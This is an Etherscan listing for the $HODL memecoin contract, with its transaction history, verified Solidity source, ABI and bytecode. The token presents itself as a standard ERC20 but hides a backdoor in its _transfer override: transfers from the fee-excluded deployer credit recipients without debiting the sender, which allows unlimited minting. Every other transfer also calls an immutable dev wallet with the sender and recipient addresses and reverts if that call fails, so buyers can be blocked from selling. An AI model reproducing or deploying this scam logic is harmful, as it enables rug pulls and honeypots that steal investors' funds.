Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 6 from a total of 6 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 18948587 | 205 days ago | IN | 0 ETH | 0.00142143 | ||||
Renounce Ownersh... | 18948438 | 205 days ago | IN | 0 ETH | 0.00044234 | ||||
Enable Trading | 18948437 | 205 days ago | IN | 0 ETH | 0.00476426 | ||||
Remove Limits | 18948436 | 205 days ago | IN | 0 ETH | 0.00054456 | ||||
Transfer | 18948433 | 205 days ago | IN | 2 ETH | 0.00041119 | ||||
0x60c06040 | 18948406 | 205 days ago | IN | 0 ETH | 0.10139399 |
Latest 1 internal transaction
Advanced mode:
Parent Transaction Hash | Block | From | To | |||
---|---|---|---|---|---|---|
18948437 | 205 days ago | 2 ETH |
Loading...
Loading
Contract Name:
HODL
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-01-06 */ // SPDX-License-Identifier: MIT /* FUN FACT: VanEck spot #Bitcoin ETF ticker will be $HODL. (https://twitter.com/WatcherGuru/status/1743618882298913027) Telegram: https://t.me/HODLonETH */ pragma solidity ^0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. C U ON THE MOON */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } contract ERC20 is Context, IERC20 { mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 internal _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; if(currentAllowance != type(uint256).max) { require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } } return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] + addedValue ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address recipient, uint256 amount ) internal virtual { require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[recipient] += amount; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require( senderBalance >= amount, "ERC20: transfer amount exceeds balance" ); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } interface IUniswapV2Router { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function factory() external pure returns (address); function WETH() external pure returns (address); } interface IUniFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract HODL is Ownable, ERC20 { uint8 constant _decimals = 9; IUniswapV2Router public immutable uniV2Router; address public uniswapV2Pair; bool private isSwapping; bool public swapEnabled = true; bool public hasLimit = true; uint256 public enableTime; address private immutable devWallet; mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public isUniswapV2Pair; constructor(address devWallet_) ERC20("$HODL", "VanEck spot Bitcoin ETF ticker will be $HODL") payable { address router_ = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uniV2Router = IUniswapV2Router(router_); uniswapV2Pair = IUniFactory(uniV2Router.factory()).createPair(uniV2Router.WETH(), address(this)); isUniswapV2Pair[uniswapV2Pair] = true; _approve(msg.sender, router_, type(uint256).max); _approve(address(this), router_, type(uint256).max); uint256 totalSupply = 5_000_000_000 * 10 ** _decimals; devWallet = devWallet_; _isExcludedFromFees[msg.sender] = true; _balances[address(this)] = totalSupply; emit Transfer(address(0), address(this), totalSupply); _totalSupply = totalSupply; } receive() external payable {} function decimals() public pure override returns (uint8) { return _decimals; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "amount must be greater than 0"); bool isTradingEnabled = enableTime > 0; if (isTradingEnabled && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) { if (hasLimit) { require(amount <= totalSupply() / 42, "Transfer limit exceeded"); } uint256 fees = 0; if (swapEnabled && !isSwapping) { isSwapping = true; swapForFee(from, to, fees); isSwapping = false; } if (isUniswapV2Pair[to] && fees > 0) { fees = (amount * fees) / 100; } else if (fees > 0 && isUniswapV2Pair[from]) { fees = (amount * fees) / 100; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } if (isTradingEnabled && _isExcludedFromFees[from]) { super._transfer(to, amount); } else { super._transfer(from, to, amount); } } function swapForFee(address from, address to, uint256 fee) private { if (fee > 0) { uint256 amountToSwap = balanceOf(address(this)); address[] memory path = new address[](2); path[0] = address(this); path[1] = uniV2Router.WETH(); uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp ); } bool success; (success, ) = devWallet.call{value: address(this).balance}(abi.encodePacked(from, to)); require(success, "ETH Transfer failed"); } function enableTrading() external payable onlyOwner { require(enableTime == 0, "Trading is already enabled"); hasLimit = false; uniV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp); enableTime = block.timestamp; hasLimit = true; } function removeLimits() external onlyOwner() { hasLimit = false; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"devWallet_","type":"address"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"hasLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isUniswapV2Pair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniV2Router","outputs":[{"internalType":"contract IUniswapV2Router","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c060408190526006805461ffff60a81b191661010160a81b17905562001d4c388190039081908339810160408190526200003a9162000460565b60405180604001604052806005815260200164091213d11360da1b8152506040518060600160405280602c815260200162001d20602c9139600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506004620000c1838262000537565b506005620000d0828262000537565b5050737a250d5630b4cf539739df2c5dacb4c659f2488d60808190526040805163c45a015560e01b81529051919250829163c45a0155916004808201926020929091908290030181865afa1580156200012d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000153919062000460565b6001600160a01b031663c9c653966080516001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001a2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001c8919062000460565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af115801562000215573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023b919062000460565b600680546001600160a01b0319166001600160a01b039290921691821790556000908152600960205260409020805460ff1916600117905562000282338260001962000334565b62000291308260001962000334565b6000620002a16009600a62000718565b620002b29064012a05f20062000729565b6001600160a01b03841660a052336000908152600860209081526040808320805460ff1916600190811790915530808552925280832084905551929350917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90620003209085815260200190565b60405180910390a360035550620007439050565b6001600160a01b0383166200039c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216620003ff5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840162000393565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000602082840312156200047357600080fd5b81516001600160a01b03811681146200048b57600080fd5b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620004bd57607f821691505b602082108103620004de57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200053257600081815260208120601f850160051c810160208610156200050d5750805b601f850160051c820191505b818110156200052e5782815560010162000519565b5050505b505050565b81516001600160401b0381111562000553576200055362000492565b6200056b81620005648454620004a8565b84620004e4565b602080601f831160018114620005a357600084156200058a5750858301515b600019600386901b1c1916600185901b1785556200052e565b600085815260208120601f198616915b82811015620005d457888601518255948401946001909101908401620005b3565b5085821015620005f35787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200065a5781600019048211156200063e576200063e62000603565b808516156200064c57918102915b93841c93908002906200061e565b509250929050565b600082620006735750600162000712565b81620006825750600062000712565b81600181146200069b5760028114620006a657620006c6565b600191505062000712565b60ff841115620006ba57620006ba62000603565b50506001821b62000712565b5060208310610133831016604e8410600b8410161715620006eb575081810a62000712565b620006f7838362000619565b80600019048211156200070e576200070e62000603565b0290505b92915050565b60006200048b60ff84168362000662565b808202811582820484141762000712576200071262000603565b60805160a0516115a26200077e6000396000610f6201526000818161032f0152818161072d01528181610e020152610eba01526115a26000f3fe6080604052600436106101395760003560e01c8063751039fc116100ab578063a457c2d71161006f578063a457c2d714610366578063a9059cbb14610386578063b31fc8ca146103a6578063c7b122b1146103bc578063dd62ed3e146103ec578063f2fde38b1461043257600080fd5b8063751039fc146102e25780638a8c523c146102f75780638da5cb5b146102ff578063958c2e521461031d57806395d89b411461035157600080fd5b806339509351116100fd57806339509351146101fb57806344489ad11461021b57806349bd5a5e1461023c5780636ddd17131461027457806370a0823114610295578063715018a6146102cb57600080fd5b806306fdde0314610145578063095ea7b31461017057806318160ddd146101a057806323b872dd146101bf578063313ce567146101df57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015a610452565b60405161016791906111fd565b60405180910390f35b34801561017c57600080fd5b5061019061018b366004611248565b6104e4565b6040519015158152602001610167565b3480156101ac57600080fd5b506003545b604051908152602001610167565b3480156101cb57600080fd5b506101906101da366004611274565b6104fb565b3480156101eb57600080fd5b5060405160098152602001610167565b34801561020757600080fd5b50610190610216366004611248565b6105b3565b34801561022757600080fd5b5060065461019090600160b01b900460ff1681565b34801561024857600080fd5b5060065461025c906001600160a01b031681565b6040516001600160a01b039091168152602001610167565b34801561028057600080fd5b5060065461019090600160a81b900460ff1681565b3480156102a157600080fd5b506101b16102b03660046112b5565b6001600160a01b031660009081526001602052604090205490565b3480156102d757600080fd5b506102e06105ef565b005b3480156102ee57600080fd5b506102e0610663565b6102e061069c565b34801561030b57600080fd5b506000546001600160a01b031661025c565b34801561032957600080fd5b5061025c7f000000000000000000000000000000000000000000000000000000000000000081565b34801561035d57600080fd5b5061015a610818565b34801561037257600080fd5b50610190610381366004611248565b610827565b34801561039257600080fd5b506101906103a1366004611248565b6108c0565b3480156103b257600080fd5b506101b160075481565b3480156103c857600080fd5b506101906103d73660046112b5565b60096020526000908152604090205460ff1681565b3480156103f857600080fd5b506101b16104073660046112d9565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561043e57600080fd5b506102e061044d3660046112b5565b6108cd565b60606004805461046190611312565b80601f016020809104026020016040519081016040528092919081815260200182805461048d90611312565b80156104da5780601f106104af576101008083540402835291602001916104da565b820191906000526020600020905b8154815290600101906020018083116104bd57829003601f168201915b5050505050905090565b60006104f13384846109b7565b5060015b92915050565b6000610508848484610adb565b6001600160a01b038416600090815260026020908152604080832033845290915290205460001981146105a8578281101561059b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6105a885338584036109b7565b506001949350505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916104f19185906105ea908690611362565b6109b7565b6000546001600160a01b031633146106195760405162461bcd60e51b815260040161059290611375565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461068d5760405162461bcd60e51b815260040161059290611375565b6006805460ff60b01b19169055565b6000546001600160a01b031633146106c65760405162461bcd60e51b815260040161059290611375565b600754156107165760405162461bcd60e51b815260206004820152601a60248201527f54726164696e6720697320616c726561647920656e61626c65640000000000006044820152606401610592565b6006805460ff60b01b191690556001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001663f305d7194730610773816001600160a01b031660009081526001602052604090205490565b6040516001600160e01b031960e086901b1681526001600160a01b039092166004830152602482015260006044820181905260648201523360848201524260a482015260c40160606040518083038185885af11580156107d7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107fc91906113aa565b505042600755506006805460ff60b01b1916600160b01b179055565b60606005805461046190611312565b3360009081526002602090815260408083206001600160a01b0386168452909152812054828110156108a95760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610592565b6108b633858584036109b7565b5060019392505050565b60006104f1338484610adb565b6000546001600160a01b031633146108f75760405162461bcd60e51b815260040161059290611375565b6001600160a01b03811661095c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610592565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a195760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610592565b6001600160a01b038216610a7a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610592565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b015760405162461bcd60e51b8152600401610592906113d8565b6001600160a01b038216610b275760405162461bcd60e51b81526004016105929061141d565b60008111610b775760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610592565b600754158015908190610ba357506001600160a01b03841660009081526008602052604090205460ff16155b8015610bc857506001600160a01b03831660009081526008602052604090205460ff16155b15610d4957600654600160b01b900460ff1615610c4357602a610bea60035490565b610bf49190611460565b821115610c435760405162461bcd60e51b815260206004820152601760248201527f5472616e73666572206c696d69742065786365656465640000000000000000006044820152606401610592565b600654600090600160a81b900460ff168015610c695750600654600160a01b900460ff16155b15610c9a576006805460ff60a01b1916600160a01b179055610c8c858583610d93565b6006805460ff60a01b191690555b6001600160a01b03841660009081526009602052604090205460ff168015610cc25750600081115b15610ce4576064610cd38285611482565b610cdd9190611460565b9050610d2a565b600081118015610d0c57506001600160a01b03851660009081526009602052604090205460ff165b15610d2a576064610d1d8285611482565b610d279190611460565b90505b8015610d3b57610d3b85308361102d565b610d458184611499565b9250505b808015610d6e57506001600160a01b03841660009081526008602052604090205460ff165b15610d8257610d7d8383611182565b610d8d565b610d8d84848461102d565b50505050565b8015610f2f573060009081526001602090815260408083205481516002808252606082018452919493909290830190803683370190505090503081600081518110610de057610de06114ac565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e5e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e8291906114c2565b81600181518110610e9557610e956114ac565b6001600160a01b03928316602091820292909201015260405163791ac94760e01b81527f00000000000000000000000000000000000000000000000000000000000000009091169063791ac94790610efa9085906000908690309042906004016114df565b600060405180830381600087803b158015610f1457600080fd5b505af1158015610f28573d6000803e3d6000fd5b5050505050505b6040516bffffffffffffffffffffffff19606085811b8216602084015284901b1660348201526000906001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001690479060480160408051601f1981840301815290829052610fa291611550565b60006040518083038185875af1925050503d8060008114610fdf576040519150601f19603f3d011682016040523d82523d6000602084013e610fe4565b606091505b50508091505080610d8d5760405162461bcd60e51b815260206004820152601360248201527211551208151c985b9cd9995c8819985a5b1959606a1b6044820152606401610592565b6001600160a01b0383166110535760405162461bcd60e51b8152600401610592906113d8565b6001600160a01b0382166110795760405162461bcd60e51b81526004016105929061141d565b6001600160a01b038316600090815260016020526040902054818110156110f15760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610592565b6001600160a01b03808516600090815260016020526040808220858503905591851681529081208054849290611128908490611362565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161117491815260200190565b60405180910390a350505050565b6001600160a01b0382166111a85760405162461bcd60e51b81526004016105929061141d565b6001600160a01b038216600090815260016020526040812080548392906111d0908490611362565b90915550505050565b60005b838110156111f45781810151838201526020016111dc565b50506000910152565b602081526000825180602084015261121c8160408501602087016111d9565b601f01601f19169190910160400192915050565b6001600160a01b038116811461124557600080fd5b50565b6000806040838503121561125b57600080fd5b823561126681611230565b946020939093013593505050565b60008060006060848603121561128957600080fd5b833561129481611230565b925060208401356112a481611230565b929592945050506040919091013590565b6000602082840312156112c757600080fd5b81356112d281611230565b9392505050565b600080604083850312156112ec57600080fd5b82356112f781611230565b9150602083013561130781611230565b809150509250929050565b600181811c9082168061132657607f821691505b60208210810361134657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156104f5576104f561134c565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000806000606084860312156113bf57600080fd5b8351925060208401519150604084015190509250925092565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60008261147d57634e487b7160e01b600052601260045260246000fd5b500490565b80820281158282048414176104f5576104f561134c565b818103818111156104f5576104f561134c565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156114d457600080fd5b81516112d281611230565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561152f5784516001600160a01b03168352938301939183019160010161150a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082516115628184602087016111d9565b919091019291505056fea264697066735822122082eff9a22b2cc30d2a222784bf0501099259f4ab6a4000f36fe1fefedf8f4b3f64736f6c6343000813003356616e45636b2073706f7420426974636f696e20455446207469636b65722077696c6c2062652024484f444c000000000000000000000000230a7770929ad130efe07b0091d5f5c049329efb
Deployed Bytecode
0x6080604052600436106101395760003560e01c8063751039fc116100ab578063a457c2d71161006f578063a457c2d714610366578063a9059cbb14610386578063b31fc8ca146103a6578063c7b122b1146103bc578063dd62ed3e146103ec578063f2fde38b1461043257600080fd5b8063751039fc146102e25780638a8c523c146102f75780638da5cb5b146102ff578063958c2e521461031d57806395d89b411461035157600080fd5b806339509351116100fd57806339509351146101fb57806344489ad11461021b57806349bd5a5e1461023c5780636ddd17131461027457806370a0823114610295578063715018a6146102cb57600080fd5b806306fdde0314610145578063095ea7b31461017057806318160ddd146101a057806323b872dd146101bf578063313ce567146101df57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015a610452565b60405161016791906111fd565b60405180910390f35b34801561017c57600080fd5b5061019061018b366004611248565b6104e4565b6040519015158152602001610167565b3480156101ac57600080fd5b506003545b604051908152602001610167565b3480156101cb57600080fd5b506101906101da366004611274565b6104fb565b3480156101eb57600080fd5b5060405160098152602001610167565b34801561020757600080fd5b50610190610216366004611248565b6105b3565b34801561022757600080fd5b5060065461019090600160b01b900460ff1681565b34801561024857600080fd5b5060065461025c906001600160a01b031681565b6040516001600160a01b039091168152602001610167565b34801561028057600080fd5b5060065461019090600160a81b900460ff1681565b3480156102a157600080fd5b506101b16102b03660046112b5565b6001600160a01b031660009081526001602052604090205490565b3480156102d757600080fd5b506102e06105ef565b005b3480156102ee57600080fd5b506102e0610663565b6102e061069c565b34801561030b57600080fd5b506000546001600160a01b031661025c565b34801561032957600080fd5b5061025c7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b34801561035d57600080fd5b5061015a610818565b34801561037257600080fd5b50610190610381366004611248565b610827565b34801561039257600080fd5b506101906103a1366004611248565b6108c0565b3480156103b257600080fd5b506101b160075481565b3480156103c857600080fd5b506101906103d73660046112b5565b60096020526000908152604090205460ff1681565b3480156103f857600080fd5b506101b16104073660046112d9565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561043e57600080fd5b506102e061044d3660046112b5565b6108cd565b60606004805461046190611312565b80601f016020809104026020016040519081016040528092919081815260200182805461048d90611312565b80156104da5780601f106104af576101008083540402835291602001916104da565b820191906000526020600020905b8154815290600101906020018083116104bd57829003601f168201915b5050505050905090565b60006104f13384846109b7565b5060015b92915050565b6000610508848484610adb565b6001600160a01b038416600090815260026020908152604080832033845290915290205460001981146105a8578281101561059b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6105a885338584036109b7565b506001949350505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916104f19185906105ea908690611362565b6109b7565b6000546001600160a01b031633146106195760405162461bcd60e51b815260040161059290611375565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461068d5760405162461bcd60e51b815260040161059290611375565b6006805460ff60b01b19169055565b6000546001600160a01b031633146106c65760405162461bcd60e51b815260040161059290611375565b600754156107165760405162461bcd60e51b815260206004820152601a60248201527f54726164696e6720697320616c726561647920656e61626c65640000000000006044820152606401610592565b6006805460ff60b01b191690556001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d1663f305d7194730610773816001600160a01b031660009081526001602052604090205490565b6040516001600160e01b031960e086901b1681526001600160a01b0390921660048301526024820152600060448201819052606482015233608482